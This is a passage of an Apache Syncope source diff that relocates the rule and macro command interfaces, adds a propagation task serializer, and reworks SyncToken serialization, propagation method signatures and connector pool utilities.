b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/macro/Command.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.core.logic.api; +package org.apache.syncope.core.provisioning.api.macro; import org.apache.syncope.common.lib.command.CommandArgs; diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/macro/MacroActions.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/macro/MacroActions.java new file mode 100644 index 00000000000..ce786af7d07 --- /dev/null +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/macro/MacroActions.java @@ -0,0 +1,59 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.provisioning.api.macro; + +import java.util.Map; +import java.util.Optional; +import javax.validation.ValidationException; +import org.apache.syncope.common.lib.command.CommandArgs; +import org.apache.syncope.common.lib.form.SyncopeForm; + +/** + * Interface for actions to be performed during macro execution. + */ +public interface MacroActions { + + default Optional getDefaultValue(String formProperty) { + return Optional.empty(); + } + + default Map getDropdownValues(String formProperty) { + return Map.of(); + } + + default void validate(SyncopeForm form, Map vars) throws ValidationException { + // does nothing by default + } + + default void beforeAll() { + // does nothing by default + } + + default void beforeCommand(Command command, CommandArgs args) { + // does nothing by default + } + + default void afterCommand(Command command, CommandArgs args, String output) { + // does nothing by default + } + + default StringBuilder afterAll(StringBuilder output) { + return output; + } +} diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/notification/RecipientsProvider.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/notification/RecipientsProvider.java index 6b3cef3cb2f..f18feb3919a 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/notification/RecipientsProvider.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/notification/RecipientsProvider.java @@ -18,11 +18,13 @@ */ package org.apache.syncope.core.provisioning.api.notification; +import java.util.Map; import java.util.Set; +import org.apache.syncope.core.persistence.api.entity.Any; import org.apache.syncope.core.persistence.api.entity.Notification; @FunctionalInterface public interface RecipientsProvider { - Set provideRecipients(Notification notification); + Set provideRecipients(Notification notification, Any any, Map jexlVars); } diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/propagation/PropagationManager.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/propagation/PropagationManager.java index cfc868c4a2b..f9ac05cca25 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/propagation/PropagationManager.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/propagation/PropagationManager.java @@ -55,11 +55,11 @@ public interface PropagationManager { String MANDATORY_NULL_OR_EMPTY_ATTR_NAME = "__MANDATORY_NULL_OR_EMPTY__"; /** - * Create the any object tasks for every associated resource, unless in {@code excludedResources}. + * Create the tasks for every associated resource, unless in {@code excludedResources}. * - * @param kind any object type kind - * @param key any object key - * @param enable whether any object should be enabled or not + * @param kind any type kind + * @param key any key + * @param enable whether any should be enabled or not * @param propByRes operation to be performed per resource * @param vAttrs virtual attributes to be set * @param excludedResources external resources performing not to be considered for propagation @@ -95,12 +95,13 @@ List getUserCreateTasks( Collection excludedResources); /** - * Create the update tasks for the any object on each resource associated, unless in {@code excludedResources}. + * Create the update tasks on each resource associated, unless in {@code excludedResources}. * - * @param kind any object type kind - * @param key any object key - * @param changePwd whether password should be included for propagation attributes or not - * @param enable whether any object should be enabled or not, may be null to leave unchanged + * @param anyUR update request + * @param kind any type kind + * @param key any key + * @param changePwdRes the resources in which the password must be included in the propagation attributes + * @param enable whether any should be enabled or not, may be null to leave unchanged * @param propByRes operation to be performed per resource * @param propByLinkedAccount operation to be performed for linked accounts * @param vAttrs virtual attributes to be set @@ -108,9 +109,10 @@ List getUserCreateTasks( * @return list of propagation tasks */ List getUpdateTasks( + AnyUR anyUR, AnyTypeKind kind, String key, - boolean changePwd, + List changePwdRes, Boolean enable, PropagationByResource propByRes, PropagationByResource> propByLinkedAccount, @@ -121,13 +123,13 @@ List getUpdateTasks( * Create the update tasks for the user on each resource associated, unless in {@code excludedResources}. * * @param wfResult user to be propagated (and info associated), as per result from workflow - * @param changePwd whether password should be included for propagation attributes or not + * @param changePwdRes the resources in which the password must be included in the propagation attributes * @param excludedResources external resources not to be considered for propagation * @return list of propagation tasks */ List getUserUpdateTasks( UserWorkflowResult> wfResult, - boolean changePwd, + List changePwdRes, Collection excludedResources); /** @@ -140,10 +142,10 @@ List getUserUpdateTasks( List getUserUpdateTasks(UserWorkflowResult> wfResult); /** - * Create the delete tasks for the any object from each resource associated, unless in {@code excludedResources}. + * Create the delete tasks from each resource associated, unless in {@code excludedResources}. * - * @param kind any object type kind - * @param key any object key + * @param kind any type kind + * @param key any key * @param propByRes operation to be performed per resource * @param propByLinkedAccount operation to be performed for linked accounts * @param excludedResources external resource keys not to be considered for propagation @@ -181,11 +183,12 @@ List createTasks( /** * Prepare attributes for propagation. * - * @param kind any object type kind - * @param key any object key + * @param kind any type kind + * @param key any key * @param password to be set (for users) - * @param changePwd whether password should be included for propagation attributes or not (for users) - * @param enable whether any object should be enabled or not, may be null to leave unchanged + * @param changePwdRes the resources in which the password must be included in the propagation attributes (for + * users) + * @param enable whether any should be enabled or not, may be null to leave unchanged * @param excludedResources external resource keys not to be considered for propagation * @return map with prepared attributes per External Resource */ @@ -193,7 +196,7 @@ Map, Set> prepareAttrs( AnyTypeKind kind, String key, String password, - boolean changePwd, + List changePwdRes, Boolean enable, Collection excludedResources); @@ -210,11 +213,9 @@ Map, Set> prepareAttrs( * * @param tasks propagation tasks * @param beforeAttrs attribute values before update - * @param updateRequest effective any update request * @return enriched propagation tasks */ List setAttributeDeltas( List tasks, - Map, Set> beforeAttrs, - AnyUR updateRequest); + Map, Set> beforeAttrs); } diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/propagation/PropagationTaskInfo.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/propagation/PropagationTaskInfo.java index d9cad412bb7..8d77fa935dd 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/propagation/PropagationTaskInfo.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/propagation/PropagationTaskInfo.java @@ -30,6 +30,8 @@ public class PropagationTaskInfo { + private String key; + private final ExternalResource resource; private final ResourceOperation operation; @@ -74,6 +76,14 @@ public PropagationTaskInfo( this.propagationData = propagationData; } + public void setKey(final String key) { + this.key = key; + } + + public String getKey() { + return key; + } + public ExternalResource getResource() { return resource; } @@ -145,7 +155,8 @@ public void setUpdateRequest(final AnyUR updateRequest) { @Override public String toString() { return "PropagationTaskInfo{" - + "resource=" + resource.getKey() + + "key=" + key + + ",resource=" + resource.getKey() + ", operation=" + operation + ", objectClass=" + objectClass + ", anyTypeKind=" + anyTypeKind diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/pushpull/stream/SyncopeStreamPullExecutor.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/pushpull/stream/SyncopeStreamPullExecutor.java index cbcb78f893c..40440508a35 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/pushpull/stream/SyncopeStreamPullExecutor.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/pushpull/stream/SyncopeStreamPullExecutor.java @@ -36,6 +36,6 @@ List pull( ConflictResolutionAction conflictResolutionAction, String pullCorrelationRule, Connector connector, - PullTaskTO pullTaskTO) - throws JobExecutionException; + PullTaskTO pullTaskTO, + String executor) throws JobExecutionException; } diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AccountRule.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/AccountRule.java similarity index 93% rename from core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AccountRule.java rename to core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/AccountRule.java index 1679b4eab9b..24721d1b0b4 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AccountRule.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/AccountRule.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.core.persistence.api.dao; +package org.apache.syncope.core.provisioning.api.rules; import org.apache.syncope.common.lib.policy.AccountRuleConf; import org.apache.syncope.core.persistence.api.entity.user.LinkedAccount; @@ -30,6 +30,8 @@ public interface AccountRule { default void setConf(AccountRuleConf conf) { } + void enforce(String username); + void enforce(User user); void enforce(LinkedAccount accout); diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AccountRuleConfClass.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/AccountRuleConfClass.java similarity index 95% rename from core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AccountRuleConfClass.java rename to core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/AccountRuleConfClass.java index 5b6bace97e0..5a48b55d220 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AccountRuleConfClass.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/AccountRuleConfClass.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.core.persistence.api.dao; +package org.apache.syncope.core.provisioning.api.rules; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PasswordRule.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PasswordRule.java similarity index 88% rename from core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PasswordRule.java rename to core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PasswordRule.java index 24903707e30..763243e462f 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PasswordRule.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PasswordRule.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.core.persistence.api.dao; +package org.apache.syncope.core.provisioning.api.rules; import org.apache.syncope.common.lib.policy.PasswordRuleConf; import org.apache.syncope.core.persistence.api.entity.user.LinkedAccount; @@ -34,7 +34,9 @@ default PasswordRuleConf getConf() { default void setConf(PasswordRuleConf conf) { } - void enforce(User user); + void enforce(String username, String clearPassword); + + void enforce(User user, String clearPassword); void enforce(LinkedAccount account); } diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PasswordRuleConfClass.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PasswordRuleConfClass.java similarity index 95% rename from core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PasswordRuleConfClass.java rename to core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PasswordRuleConfClass.java index 745e3366b1a..44b34c1990a 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PasswordRuleConfClass.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PasswordRuleConfClass.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.core.persistence.api.dao; +package org.apache.syncope.core.provisioning.api.rules; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PullCorrelationRule.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PullCorrelationRule.java similarity index 98% rename from core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PullCorrelationRule.java rename to core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PullCorrelationRule.java index 4be32ef553f..c8a9c62b5bf 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PullCorrelationRule.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PullCorrelationRule.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.core.persistence.api.dao; +package org.apache.syncope.core.provisioning.api.rules; import java.util.Optional; import org.apache.syncope.common.lib.policy.PullCorrelationRuleConf; diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PullCorrelationRuleConfClass.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PullCorrelationRuleConfClass.java similarity index 95% rename from core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PullCorrelationRuleConfClass.java rename to core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PullCorrelationRuleConfClass.java index b96a6997567..c94e4be664f 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PullCorrelationRuleConfClass.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PullCorrelationRuleConfClass.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.core.persistence.api.dao; +package org.apache.syncope.core.provisioning.api.rules; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PullMatch.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PullMatch.java similarity index 98% rename from core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PullMatch.java rename to core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PullMatch.java index 75d292aef07..e70c2eb5024 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PullMatch.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PullMatch.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.core.persistence.api.dao; +package org.apache.syncope.core.provisioning.api.rules; import java.io.Serializable; import org.apache.commons.lang3.builder.EqualsBuilder; diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PushCorrelationRule.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PushCorrelationRule.java similarity index 97% rename from core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PushCorrelationRule.java rename to core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PushCorrelationRule.java index 88dd30a971f..0e95da67090 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PushCorrelationRule.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PushCorrelationRule.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.core.persistence.api.dao; +package org.apache.syncope.core.provisioning.api.rules; import java.util.function.BiFunction; import org.apache.syncope.common.lib.policy.PushCorrelationRuleConf; diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PushCorrelationRuleConfClass.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PushCorrelationRuleConfClass.java similarity index 95% rename from core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PushCorrelationRuleConfClass.java rename to core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PushCorrelationRuleConfClass.java index deb1765d171..29b583e040c 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PushCorrelationRuleConfClass.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PushCorrelationRuleConfClass.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.core.persistence.api.dao; +package org.apache.syncope.core.provisioning.api.rules; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/RuleEnforcer.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/RuleEnforcer.java new file mode 100644 index 00000000000..e9a98ec4449 --- /dev/null +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/RuleEnforcer.java @@ -0,0 +1,37 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.provisioning.api.rules; + +import java.util.Collection; +import java.util.List; +import org.apache.syncope.core.persistence.api.entity.ExternalResource; +import org.apache.syncope.core.persistence.api.entity.Realm; +import org.apache.syncope.core.persistence.api.entity.policy.AccountPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.PasswordPolicy; + +public interface RuleEnforcer { + + List getAccountPolicies(Realm realm, Collection resources); + + List getAccountRules(AccountPolicy policy); + + List getPasswordPolicies(Realm realm, Collection resources); + + List getPasswordRules(PasswordPolicy policy); +} diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/serialization/POJOHelper.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/serialization/POJOHelper.java index 3f019807e9c..dfcb5e0f8db 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/serialization/POJOHelper.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/serialization/POJOHelper.java @@ -25,6 +25,7 @@ import com.fasterxml.jackson.databind.module.SimpleModule; import com.fasterxml.jackson.datatype.jsr310.JavaTimeModule; import com.fasterxml.jackson.module.afterburner.AfterburnerModule; +import org.apache.syncope.core.provisioning.api.propagation.PropagationTaskInfo; import org.identityconnectors.common.security.GuardedString; import org.identityconnectors.framework.common.objects.Attribute; import org.identityconnectors.framework.common.objects.AttributeDelta; @@ -47,6 +48,7 @@ public final class POJOHelper { pojoModule.addSerializer(Attribute.class, new AttributeSerializer()); pojoModule.addSerializer(AttributeDelta.class, new AttributeDeltaSerializer()); pojoModule.addSerializer(SyncToken.class, new SyncTokenSerializer()); + pojoModule.addSerializer(PropagationTaskInfo.class, new PropagationTaskInfoSerializer()); pojoModule.addDeserializer(GuardedString.class, new GuardedStringDeserializer()); pojoModule.addDeserializer(Attribute.class, new AttributeDeserializer()); pojoModule.addDeserializer(AttributeDelta.class, new AttributeDeltaDeserializer()); diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/serialization/PropagationTaskInfoSerializer.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/serialization/PropagationTaskInfoSerializer.java new file mode 100644 index 00000000000..215a4546fbb --- /dev/null +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/serialization/PropagationTaskInfoSerializer.java @@ -0,0 +1,61 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.provisioning.api.serialization; + +import com.fasterxml.jackson.core.JsonGenerator; +import com.fasterxml.jackson.databind.JsonSerializer; +import com.fasterxml.jackson.databind.SerializerProvider; +import java.io.IOException; +import org.apache.syncope.core.provisioning.api.propagation.PropagationTaskInfo; + +class PropagationTaskInfoSerializer extends JsonSerializer { + + @Override + public void serialize(final PropagationTaskInfo propagationTaskInfo, final JsonGenerator jgen, + final SerializerProvider serializerProvider) throws IOException { + + jgen.writeStartObject(); + + jgen.writeStringField("key", propagationTaskInfo.getKey()); + + if (propagationTaskInfo.getResource() != null) { + jgen.writeStringField("resource", propagationTaskInfo.getResource().getKey()); + } + if (propagationTaskInfo.getOperation() != null) { + jgen.writeStringField("operation", propagationTaskInfo.getOperation().name()); + } + if (propagationTaskInfo.getObjectClass() != null) { + jgen.writeStringField("objectClass", propagationTaskInfo.getObjectClass().getObjectClassValue()); + } + if (propagationTaskInfo.getAnyTypeKind() != null) { + jgen.writeStringField("anyTypeKind", propagationTaskInfo.getAnyTypeKind().name()); + } + jgen.writeStringField("anyType", propagationTaskInfo.getAnyType()); + jgen.writeStringField("entityKey", propagationTaskInfo.getEntityKey()); + jgen.writeStringField("connObjectKey", propagationTaskInfo.getConnObjectKey()); + jgen.writeStringField("oldConnObjectKey", propagationTaskInfo.getOldConnObjectKey()); + jgen.writeObjectField("propagationData", propagationTaskInfo.getPropagationData()); + if (propagationTaskInfo.getConnector() != null) { + jgen.writeObjectField("connector", propagationTaskInfo.getConnector().getConnInstance().getKey()); + } + jgen.writeObjectField("beforeObj", propagationTaskInfo.getBeforeObj()); + + jgen.writeEndObject(); + } +} diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/serialization/SyncTokenDeserializer.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/serialization/SyncTokenDeserializer.java index 413bbb66f29..3bfe9f63843 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/serialization/SyncTokenDeserializer.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/serialization/SyncTokenDeserializer.java @@ -36,31 +36,54 @@ public SyncToken deserialize(final JsonParser jp, final DeserializationContext c ObjectNode tree = jp.readValueAsTree(); - Object value = null; - if (tree.has("value")) { - JsonNode node = tree.get("value"); - if (node.isBoolean()) { - value = node.asBoolean(); - } else if (node.isDouble()) { - value = node.asDouble(); - } else if (node.isLong()) { - value = node.asLong(); - } else if (node.isInt()) { - value = node.asInt(); - } else { - value = node.asText(); - } + Object value = tree.has("value") + ? tree.has("type") + ? deserialize(tree.get("value"), tree.get("type")) + : deserialize(tree.get("value")) + : null; - if (value instanceof String) { - String base64 = (String) value; - try { - value = Base64.getDecoder().decode(base64); - } catch (RuntimeException e) { - value = base64; - } - } + return new SyncToken(Objects.requireNonNull(value)); + } + + private Object deserialize(final JsonNode value, final JsonNode type) { + if (Boolean.class.getSimpleName().equals(type.asText())) { + return value.asBoolean(); } - return new SyncToken(Objects.requireNonNull(value)); + if (Double.class.getSimpleName().equals(type.asText())) { + return value.asDouble(); + } + if (Long.class.getSimpleName().equals(type.asText())) { + return value.asLong(); + } + if (Integer.class.getSimpleName().equals(type.asText())) { + return value.asInt(); + } + + return value.asText(); + } + + private Object deserialize(final JsonNode value) { + if (value.isBoolean()) { + return value.asBoolean(); + } + + if (value.isDouble()) { + return value.asDouble(); + } + + if (value.isLong()) { + return value.asLong(); + } + + if (value.isInt()) { + return value.asInt(); + } + + try { + return Base64.getDecoder().decode(value.asText()); + } catch (RuntimeException e) { + return value.asText(); + } } } diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/serialization/SyncTokenSerializer.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/serialization/SyncTokenSerializer.java index b96c6d26b50..ef964ed3d15 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/serialization/SyncTokenSerializer.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/serialization/SyncTokenSerializer.java @@ -33,22 +33,25 @@ public void serialize(final SyncToken source, final JsonGenerator jgen, final Se jgen.writeStartObject(); - jgen.writeFieldName("value"); - if (source.getValue() == null) { - jgen.writeNull(); + jgen.writeNullField("value"); } else if (source.getValue() instanceof Boolean) { - jgen.writeBoolean((Boolean) source.getValue()); + jgen.writeStringField("type", Boolean.class.getSimpleName()); + jgen.writeBooleanField("value", (Boolean) source.getValue()); } else if (source.getValue() instanceof Double) { - jgen.writeNumber((Double) source.getValue()); + jgen.writeStringField("type", Double.class.getSimpleName()); + jgen.writeNumberField("value", (Double) source.getValue()); } else if (source.getValue() instanceof Long) { - jgen.writeNumber((Long) source.getValue()); + jgen.writeStringField("type", Long.class.getSimpleName()); + jgen.writeNumberField("value", (Long) source.getValue()); } else if (source.getValue() instanceof Integer) { - jgen.writeNumber((Integer) source.getValue()); + jgen.writeStringField("type", Integer.class.getSimpleName()); + jgen.writeNumberField("value", (Integer) source.getValue()); } else if (source.getValue() instanceof byte[]) { - jgen.writeString(Base64.getEncoder().encodeToString((byte[]) source.getValue())); + jgen.writeStringField("value", Base64.getEncoder().encodeToString((byte[]) source.getValue())); } else { - jgen.writeString(source.getValue().toString()); + jgen.writeStringField("type", String.class.getSimpleName()); + jgen.writeStringField("value", source.getValue().toString()); } jgen.writeEndObject(); diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/utils/ConnPoolConfUtils.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/utils/ConnPoolConfUtils.java index 07f929a7cd4..c0ba7635828 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/utils/ConnPoolConfUtils.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/utils/ConnPoolConfUtils.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.core.provisioning.api.utils; +import java.util.Optional; import org.apache.syncope.common.lib.to.ConnPoolConfTO; import org.apache.syncope.core.persistence.api.entity.ConnPoolConf; import org.identityconnectors.common.pooling.ObjectPoolConfiguration; @@ -27,12 +28,12 @@ public final class ConnPoolConfUtils { public static ConnPoolConf getConnPoolConf(final ConnPoolConfTO cpcto, final ConnPoolConf cpc) { ObjectPoolConfiguration opc = new ObjectPoolConfiguration(); - cpc.setMaxIdle(cpcto.getMaxIdle() == null ? opc.getMaxIdle() : cpcto.getMaxIdle()); - cpc.setMaxObjects(cpcto.getMaxObjects() == null ? opc.getMaxObjects() : cpcto.getMaxObjects()); - cpc.setMaxWait(cpcto.getMaxWait() == null ? opc.getMaxWait() : cpcto.getMaxWait()); - cpc.setMinEvictableIdleTimeMillis(cpcto.getMinEvictableIdleTimeMillis() == null - ? opc.getMinEvictableIdleTimeMillis() : cpcto.getMinEvictableIdleTimeMillis()); - cpc.setMinIdle(cpcto.getMinIdle() == null ? opc.getMinIdle() : cpcto.getMinIdle()); + cpc.setMaxIdle(Optional.ofNullable(cpcto.getMaxIdle()).orElse(opc.getMaxIdle())); + cpc.setMaxObjects(Optional.ofNullable(cpcto.getMaxObjects()).orElse(opc.getMaxObjects())); + cpc.setMaxWait(Optional.ofNullable(cpcto.getMaxWait()).orElse(opc.getMaxWait())); + cpc.setMinEvictableIdleTimeMillis( + Optional.ofNullable(cpcto.getMinEvictableIdleTimeMillis()).orElse(opc.getMinEvictableIdleTimeMillis())); + cpc.setMinIdle(Optional.ofNullable(cpcto.getMinIdle()).orElse(opc.getMinIdle())); return cpc; } @@ -43,9 +44,7 @@ public static ObjectPoolConfiguration getObjectPoolConfiguration(final ConnPoolC return opc; } - public static void updateObjectPoolConfiguration( - final ObjectPoolConfiguration opc, final ConnPoolConf cpc) { - + public static void updateObjectPoolConfiguration(final ObjectPoolConfiguration opc, final ConnPoolConf cpc) { if (cpc.getMaxIdle() != null) { opc.setMaxIdle(cpc.getMaxIdle()); } diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/utils/URIUtils.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/utils/URIUtils.java index 143a14c00df..0a3b719888c 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/utils/URIUtils.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/utils/URIUtils.java @@ -18,11 +18,11 @@ */ package org.apache.syncope.core.provisioning.api.utils; -import java.io.File; -import java.net.MalformedURLException; import java.net.URI; import java.net.URISyntaxException; -import java.net.URL; +import java.nio.file.Path; +import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.SystemUtils; public final class URIUtils { @@ -33,15 +33,13 @@ private URIUtils() { /** * Build a valid URI out of the given location. * Only "file", "connid" and "connids" schemes are allowed. - * For "file", invalid characters are handled via intermediate transformation into URL. * * @param location the candidate location for URI * @return valid URI for the given location - * @throws MalformedURLException if the intermediate URL is not valid * @throws URISyntaxException if the given location does not correspond to a valid URI */ - public static URI buildForConnId(final String location) throws MalformedURLException, URISyntaxException { - final String candidate = location.trim(); + public static URI buildForConnId(final String location) throws URISyntaxException { + String candidate = location.trim(); if (!candidate.startsWith("file:") && !candidate.startsWith("connid:") && !candidate.startsWith("connids:")) { @@ -51,7 +49,12 @@ public static URI buildForConnId(final String location) throws MalformedURLExcep URI uri; 